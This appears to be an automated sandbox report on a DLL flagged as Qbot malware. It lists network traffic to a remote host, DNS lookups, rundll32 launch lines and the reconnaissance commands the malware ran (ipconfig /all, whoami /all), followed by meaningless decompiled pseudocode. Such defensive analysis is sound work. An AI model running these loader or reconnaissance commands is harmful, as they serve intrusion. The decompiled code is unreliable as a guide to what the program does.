May 31, 2023 14:27:21.371922016 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.376710892 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.378830910 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.383064032 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.385720015 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.389755011 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.392606020 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.396832943 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.399646044 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.403558969 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.406693935 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.408979893 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.413467884 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.417849064 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.420459986 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.422558069 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.427254915 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.429408073 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.434051991 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.437551022 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.440784931 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.442944050 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.447877884 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.451042891 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.454566956 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.456460953 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.461652040 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.463840008 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.468075037 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.470267057 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.475658894 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.477638960 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.481874943 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.484524965 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.488554001 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.491183996 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.495158911 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.498377085 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.502299070 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.504777908 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.508807898 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.512363911 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.514539003 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.518589020 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.520891905 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.525764942 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.528147936 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.532491922 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.534619093 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.539506912 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.541481972 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.546196938 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.548583984 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.553339958 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.557097912 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.559806108 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.562807083 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.566934109 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.569103956 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.573607922 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.576380014 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.580785036 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.582904100 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.587419033 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.590060949 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.594278097 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.596744061 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.600455999 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:21.603693008 CEST	2222	49738	200.84.200.20	192.168.2.3

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 31, 2023 14:26:28.649318933 CEST	62050	53	192.168.2.3	8.8.8.8
May 31, 2023 14:26:28.676733971 CEST	53	62050	8.8.8.8	192.168.2.3
May 31, 2023 14:26:29.102452040 CEST	56042	53	192.168.2.3	8.8.8.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
May 31, 2023 14:26:28.649318933 CEST	192.168.2.3	8.8.8.8	0x9303	Standard query (0)	linkedin.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:26:29.102452040 CEST	192.168.2.3	8.8.8.8	0x74e	Standard query (0)	www.linkedin.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
May 31, 2023 14:26:28.676733971 CEST	8.8.8.8	192.168.2.3	0x9303	No error (0)	linkedin.com		13.107.42.14	A (IP address)	IN (0x0001)	false
May 31, 2023 14:26:29.127767086 CEST	8.8.8.8	192.168.2.3	0x74e	No error (0)	www.linkedin.com	www-linkedin-com.l-0005.l-msedge.net		CNAME (Canonical name)	IN (0x0001)	false

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: loaddll32.exePID: 5212, Parent PID: 3452

General

Target ID:	0
Start time:	14:23:14
Start date:	31/05/2023
Path:	C:\Windows\System32\loaddll32.exe
Wow64 process (32bit):	true
Commandline:	loaddll32.exe "C:\Users\user\Desktop\photographed.dat.dll"
Imagebase:	0xa00000
File size:	126464 bytes
MD5 hash:	3B4636AE519868037940CA5C4272091B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 5728, Parent PID: 5212

General

Target ID:	1
Start time:	14:23:14
Start date:	31/05/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff745070000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: cmd.exePID: 6888, Parent PID: 5212

General

Target ID:	2
Start time:	14:23:14
Start date:	31/05/2023
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /C rundll32.exe "C:\Users\user\Desktop\photographed.dat.dll",#1
Imagebase:	0xb0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: rundll32.exePID: 7136, Parent PID: 5212

General

Target ID:	3
Start time:	14:23:14
Start date:	31/05/2023
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\photographed.dat.dll,m?0?$_SpinWait@$00@details@Concurrency@@QAE@P6AXXZ@Z
Imagebase:	0xfe0000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: rundll32.exePID: 5684, Parent PID: 6888

General

Target ID:	4
Start time:	14:23:14
Start date:	31/05/2023
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe "C:\Users\user\Desktop\photographed.dat.dll",#1
Imagebase:	0xfe0000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: WerFault.exePID: 4964, Parent PID: 5684

General

Target ID:	8
Start time:	14:23:15
Start date:	31/05/2023
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 5684 -s 660
Imagebase:	0xa30000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: WerFault.exePID: 5272, Parent PID: 7136

General

Target ID:	9
Start time:	14:23:15
Start date:	31/05/2023
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 7136 -s 664
Imagebase:	0xa30000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: rundll32.exePID: 3108, Parent PID: 5212

General

Target ID:	10
Start time:	14:23:17
Start date:	31/05/2023
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\photographed.dat.dll,m?0?$_SpinWait@$0A@@details@Concurrency@@QAE@P6AXXZ@Z
Imagebase:	0xfe0000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: WerFault.exePID: 7056, Parent PID: 3108

General

Target ID:	12
Start time:	14:23:18
Start date:	31/05/2023
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 3108 -s 652
Imagebase:	0xa30000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: rundll32.exePID: 7216, Parent PID: 5212

General

Target ID:	13
Start time:	14:23:20
Start date:	31/05/2023
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\photographed.dat.dll,m?0SchedulerPolicy@Concurrency@@QAA@IZZ
Imagebase:	0xfe0000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: WerFault.exePID: 7248, Parent PID: 7216

General

Target ID:	15
Start time:	14:23:21
Start date:	31/05/2023
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 7216 -s 648
Imagebase:	0xa30000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: rundll32.exePID: 7332, Parent PID: 5212

General

Target ID:	16
Start time:	14:23:24
Start date:	31/05/2023
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe "C:\Users\user\Desktop\photographed.dat.dll",m?0?$_SpinWait@$00@details@Concurrency@@QAE@P6AXXZ@Z
Imagebase:	0xfe0000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: rundll32.exePID: 7340, Parent PID: 5212

General

Target ID:	17
Start time:	14:23:24
Start date:	31/05/2023
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe "C:\Users\user\Desktop\photographed.dat.dll",m?0?$_SpinWait@$0A@@details@Concurrency@@QAE@P6AXXZ@Z
Imagebase:	0xfe0000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: rundll32.exePID: 7348, Parent PID: 5212

General

Target ID:	18
Start time:	14:23:24
Start date:	31/05/2023
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe "C:\Users\user\Desktop\photographed.dat.dll",m?0SchedulerPolicy@Concurrency@@QAA@IZZ
Imagebase:	0xfe0000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: rundll32.exePID: 7360, Parent PID: 5212

General

Target ID:	19
Start time:	14:23:24
Start date:	31/05/2023
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe "C:\Users\user\Desktop\photographed.dat.dll",next
Imagebase:	0xfe0000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Qbot_1, Description: Yara detected Qbot, Source: 00000013.00000002.409441736.00000000048D0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Qbot_1, Description: Yara detected Qbot, Source: 00000013.00000002.406028423.0000000000CDA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security

Show Windows behavior

Chronological Activities

Analysis Process: rundll32.exePID: 7380, Parent PID: 5212

General

Target ID:	21
Start time:	14:23:24
Start date:	31/05/2023
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe "C:\Users\user\Desktop\photographed.dat.dll",mwait_for_multiple@event@Concurrency@@SAIPAPAV12@I_NI@Z
Imagebase:	0xfe0000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: rundll32.exePID: 7416, Parent PID: 5212

General

Target ID:	23
Start time:	14:23:24
Start date:	31/05/2023
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe "C:\Users\user\Desktop\photographed.dat.dll",mwait_for_all@agent@Concurrency@@SAXIPAPAV12@PAW4agent_status@2@I@Z
Imagebase:	0xfe0000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: WerFault.exePID: 7496, Parent PID: 7332

General

Target ID:	26
Start time:	14:23:24
Start date:	31/05/2023
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 7332 -s 652
Imagebase:	0xa30000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: WerFault.exePID: 7504, Parent PID: 7340

General

Target ID:	27
Start time:	14:23:24
Start date:	31/05/2023
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 7340 -s 652
Imagebase:	0xa30000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: WerFault.exePID: 7568, Parent PID: 7348

General

Target ID:	29
Start time:	14:23:25
Start date:	31/05/2023
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 7348 -s 648
Imagebase:	0xa30000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: WerFault.exePID: 7584, Parent PID: 7416

General

Target ID:	30
Start time:	14:23:25
Start date:	31/05/2023
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 7416 -s 648
Imagebase:	0xa30000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: wermgr.exePID: 7772, Parent PID: 7360

General

Target ID:	31
Start time:	14:23:30
Start date:	31/05/2023
Path:	C:\Windows\SysWOW64\wermgr.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\wermgr.exe
Imagebase:	0x1390000
File size:	191904 bytes
MD5 hash:	CCF15E662ED5CE77B5FF1A7AAE305233
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: ipconfig.exePID: 1852, Parent PID: 7772

General

Target ID:	36
Start time:	14:27:01
Start date:	31/05/2023
Path:	C:\Windows\SysWOW64\ipconfig.exe
Wow64 process (32bit):	true
Commandline:	ipconfig /all
Imagebase:	0x11a0000
File size:	29184 bytes
MD5 hash:	B0C7423D02A007461C850CD0DFE09318
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 1708, Parent PID: 1852

General

Target ID:	37
Start time:	14:27:01
Start date:	31/05/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff745070000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: whoami.exePID: 2244, Parent PID: 7772

General

Target ID:	38
Start time:	14:27:02
Start date:	31/05/2023
Path:	C:\Windows\SysWOW64\whoami.exe
Wow64 process (32bit):	true
Commandline:	whoami /all
Imagebase:	0x7ff68f300000
File size:	59392 bytes
MD5 hash:	2E498B32E15CD7C0177A254E2410559C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 7716, Parent PID: 2244

General

Target ID:	39
Start time:	14:27:02
Start date:	31/05/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff745070000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: msiexec.exePID: 5264, Parent PID: 580

General

Target ID:	41
Start time:	14:27:02
Start date:	31/05/2023
Path:	C:\Windows\System32\msiexec.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\msiexec.exe /V
Imagebase:	0x7ff6eed80000
File size:	66048 bytes
MD5 hash:	4767B71A318E201188A0D0A420C8B608
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: rundll32.exePID: 7136, Parent PID: 5212COMMON

Non-executed Functions

Function 10001556 Relevance: .6, Instructions: 625
COMMONCrypto

Download Yara Rule

C-Code - Quality: 79%

			E10001556(intOrPtr* __eax, unsigned int __ebx, signed int __ecx, void* __edx, signed char* __edi, void* __esi) {
				intOrPtr* _t593;
				intOrPtr* _t594;
				intOrPtr* _t595;
				intOrPtr* _t596;
				intOrPtr* _t598;
				intOrPtr* _t599;
				intOrPtr* _t600;
				char* _t601;
				intOrPtr* _t602;
				intOrPtr* _t603;
				intOrPtr* _t604;
				signed char _t605;
				signed char _t606;
				signed char _t607;
				signed char _t609;
				intOrPtr* _t613;
				intOrPtr* _t614;
				intOrPtr* _t615;
				signed char _t616;
				signed int _t617;
				signed char _t619;
				void* _t623;
				intOrPtr* _t624;
				signed int _t626;
				signed int _t627;
				signed int _t628;
				signed int _t633;
				signed int _t635;
				signed char* _t639;
				intOrPtr* _t640;
				void* _t641;
				intOrPtr* _t642;
				intOrPtr* _t644;
				intOrPtr* _t645;
				intOrPtr* _t646;
				intOrPtr* _t647;
				intOrPtr* _t648;
				intOrPtr* _t649;
				intOrPtr* _t650;
				intOrPtr* _t651;
				intOrPtr* _t652;
				intOrPtr* _t654;
				intOrPtr* _t655;
				intOrPtr* _t656;
				signed char _t675;
				signed int _t676;
				signed int _t677;
				signed char _t679;
				void* _t680;
				signed int _t681;
				signed char _t684;
				signed char _t686;
				signed char _t687;
				intOrPtr* _t693;
				signed int* _t695;
				intOrPtr* _t697;
				intOrPtr* _t700;
				intOrPtr* _t704;
				signed char _t705;
				intOrPtr* _t714;
				void* _t715;
				void* _t716;
				intOrPtr* _t718;
				intOrPtr* _t719;
				intOrPtr* _t722;
				void* _t723;
				signed char* _t738;
				void* _t739;
				void* _t742;
				void* _t744;
				void* _t745;
				intOrPtr _t752;

				_t742 = __esi;
				_t738 = __edi;
				_t681 = __ecx;
				_t686 = __edx +  *((intOrPtr*)(__eax - 0x15));
				 *__eax =  *__eax + __eax;
				 *_t686 =  *_t686 + __eax;
				 *_t686 =  *_t686 + __eax;
				_t593 =  *0x20000eb;
				_t679 = __ebx >> 0;
				 *_t686 =  *_t686 + _t593;
				_t687 = _t686 ^ __ecx;
				 *_t593 =  *_t593 + _t593;
				 *((intOrPtr*)(_t593 - 0x12)) =  *((intOrPtr*)(_t593 - 0x12)) + _t687;
				 *_t593 =  *_t593 + _t593;
				 *((intOrPtr*)(_t593 + 0xee)) =  *((intOrPtr*)(_t593 + 0xee)) + _t687;
				asm("lock out dx, al");
				 *_t593 =  *_t593 + _t593;
				 *_t593 =  *_t593 + _t687;
				asm("out dx, eax");
				 *_t593 =  *_t593 + _t593;
				_t594 = _t593 +  *((intOrPtr*)(_t593 - 0x11));
				 *_t594 =  *_t594 + _t594;
				_t595 = _t594 +  *_t594;
				asm("int1");
				 *_t595 =  *_t595 + _t595;
				_t596 = _t595 +  *_t595;
				asm("int1");
				 *_t596 =  *_t596 + _t596;
				 *0xf3 =  *0xf3 + 0xf3;
				_t598 = 0xf3 +  *0x000000E8;
				 *_t598 =  *_t598 + 0xf3;
				_t599 = _t598 +  *((intOrPtr*)(_t598 - 0xa));
				 *_t599 =  *_t599 + 0xf3;
				_t600 = _t599 +  *_t599;
				 *_t600 =  *_t600 + 0xf3;
				_t601 = _t600 +  *((intOrPtr*)(_t600 + 0x20000f8));
				 *_t601 =  *_t601 + 0xf3;
				asm("cli");
				 *_t601 =  *_t601 + 0xf3;
				 *_t601 =  *_t601 + 0xf3;
				asm("std");
				 *_t601 =  *_t601 + 0xf3;
				_t693 = (_t687 +  *((intOrPtr*)(_t596 + 0x20000f1)) ^ _t679) + 0xf3 +  *((intOrPtr*)(_t601 - 5)) + 0xf3 +  *_t601;
				 *_t601 =  *_t601 + 1;
				 *_t693 =  *_t693 + 0xf3;
				_t602 = _t601 + 1;
				 *_t602 =  *_t602 + 1;
				 *_t693 =  *_t693 + 0xf3;
				_t752 =  *_t693;
				do {
				} while (_t752 < 0);
				 *_t602 =  *_t602 + 0xf3;
				asm("loopne 0x0");
				 *_t602 =  *_t602 + 0xf3;
				_t695 = _t693 +  *((intOrPtr*)(_t602 + 0x20000fe)) +  *_t602;
				 *_t602 =  *_t602 + 1;
				 *_t695 =  *_t695 + 0xf3;
				_t603 = _t602 + 1;
				 *_t603 =  *_t603 + 1;
				 *_t603 =  *_t603 + 0xf3;
				asm("pushad");
				 *_t603 =  *_t603 + 1;
				 *_t695 =  *_t695 + 0xf3;
				 *_t695 =  *_t695 + _t603;
				_t604 =  *0x20000ff;
				 *__ecx =  *__ecx + _t604;
				 *_t604 =  *_t604 + _t604;
				 *_t604 =  *_t604 + _t695;
				 *__ecx =  *__ecx + _t604;
				 *_t695 =  *_t695 + _t604;
				asm("lock add [ecx], eax");
				 *_t695 =  *_t695 + _t604;
				asm("rol byte [edx], 0x1");
				 *_t604 =  *_t604 + _t604;
				asm("lock add al, [ecx]");
				 *_t604 =  *_t604 + _t604;
				_push(es);
				 *_t604 =  *_t604 + _t604;
				_t605 = _t604 + _t695;
				 *__ecx =  *__ecx | _t605;
				 *_t605 =  *_t605 + _t605;
				 *_t695 =  *_t695 + __ecx;
				 *_t605 =  *_t605 + _t605;
				 *_t605 =  *_t605 + _t695;
				_t606 = _t605 |  *__ecx;
				 *_t606 =  *_t606 + _t606;
				 *_t695 =  *_t695 & __ecx;
				 *_t606 =  *_t606 + _t606;
				 *_t606 =  *_t606 + _t695;
				_t607 = _t606 |  *__ecx;
				 *_t607 =  *_t607 + _t607;
				asm("ror byte [edx], 1");
				 *_t607 =  *_t607 + _t607;
				_t609 = _t695 + _t607 |  *__ecx;
				 *_t609 =  *_t609 + _t609;
				asm("adc [ebx], cl");
				 *_t609 =  *_t609 + _t609;
				 *((intOrPtr*)(_t609 + 0xb)) =  *((intOrPtr*)(_t609 + 0xb)) + _t609;
				 *_t609 =  *_t609 + _t609;
				 *((intOrPtr*)(_t609 + 0xb)) =  *((intOrPtr*)(_t609 + 0xb)) + _t695;
				 *_t609 =  *_t609 + _t609;
				 *((intOrPtr*)(_t609 + 0x117)) =  *((intOrPtr*)(_t609 + 0x117)) + _t695;
				asm("pushad");
				asm("sbb al, 0x1");
				 *_t695 =  *_t695 + _t609;
				asm("sbb al, 0x1");
				 *_t695 =  *_t695 + _t609;
				 *0x1c =  *0x1c + 0x1c;
				asm("sbb al, 0x1");
				 *_t695 =  *_t695 + 0x1c;
				 *0x80020001 =  *0x80020001 + _t679;
				asm("sbb eax, 0xa0000001");
				asm("sbb eax, 0xd0020001");
				asm("sbb eax, 0x20001");
				 *0x00000038 =  *((intOrPtr*)(0x38)) + 0x38;
				_t613 = 0x38 +  *((intOrPtr*)(0x38));
				 *_t613 =  *_t613 + _t613;
				 *_t613 =  *_t613 + _t613;
				_t614 = _t613 +  *((intOrPtr*)(_t613 + 0x1e));
				 *_t614 =  *_t614 + _t614;
				_t697 = _t695 +  *((intOrPtr*)(_t613 + 0x1e)) +  *((intOrPtr*)(_t614 + 0x200011e));
				asm("rcr byte [esi], 0x1");
				 *_t697 =  *_t697 + 0x1c;
				asm("lock push ds");
				 *_t614 =  *_t614 + _t614;
				_t615 = _t614 +  *_t614;
				ds = ds;
				 *_t615 =  *_t615 + _t615;
				 *_t615 =  *_t615 + _t615;
				_t616 = _t615 +  *((intOrPtr*)(_t615 + 0x200011f));
				asm("rcr byte [edi], 1");
				 *_t616 =  *_t616 + _t616;
				ds = ds;
				 *_t616 =  *_t616 + _t616;
				_t700 = _t697 +  *((intOrPtr*)(_t615 + 0x1f)) + 0x1c +  *_t616;
				 *__ecx =  *__ecx & 0x0000001c;
				 *_t700 =  *_t700 + 0x1c;
